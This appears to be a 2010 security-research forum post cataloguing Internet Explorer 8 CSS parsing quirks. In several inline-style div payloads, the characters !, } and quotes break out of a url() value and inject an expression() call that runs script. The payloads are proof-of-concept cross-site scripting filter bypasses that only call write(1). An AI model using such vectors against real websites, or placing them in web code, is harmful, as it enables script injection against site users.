So, guys, what we have at the moment?
Works all (tested in IE 8).
1. Symbol !
<div style="background:url('a'!!!x:expression(write(1));"></div> // invalid property background
<div style="background:url('a'!;x:expression(write(1));"></div> // invalid property background
<div style="background:url('a')!!x:expression(write(1));"></div> // valid property background
Conclusion: ! - is
equivalent ( or ) url property breaker. !! - is separator properties (equivalent ;)
2. Symbol }
Go Next --> (look at my vector before).
<div style="background:url('a')}x:expression(write(1));"></div> // valid property background
<div style="background:url('a'}}x:expression(write(1));"></div> // invalid property background
<div style="background:url{'a'}}x:expression(write(1));"></div> // invalid property background
Conclusion: } - is url property breaker, and separator properties (equivalent ;)
3. Symbols ",'
Go Next --> http://sla.ckers.org/forum/read.php?2,29779,page=2
<div style="background:url('a'';x:expression(write(1));"></div> // invalid property background
Conclusion: ' - is
equivalent ( or ) only url property breaker, and not a separator properties.
This is very very beautiful, guys!
LeverOne
----------------------
~Veritas~
Edited 4 time(s). Last edit at 04/20/2010 05:55AM by LeverOne.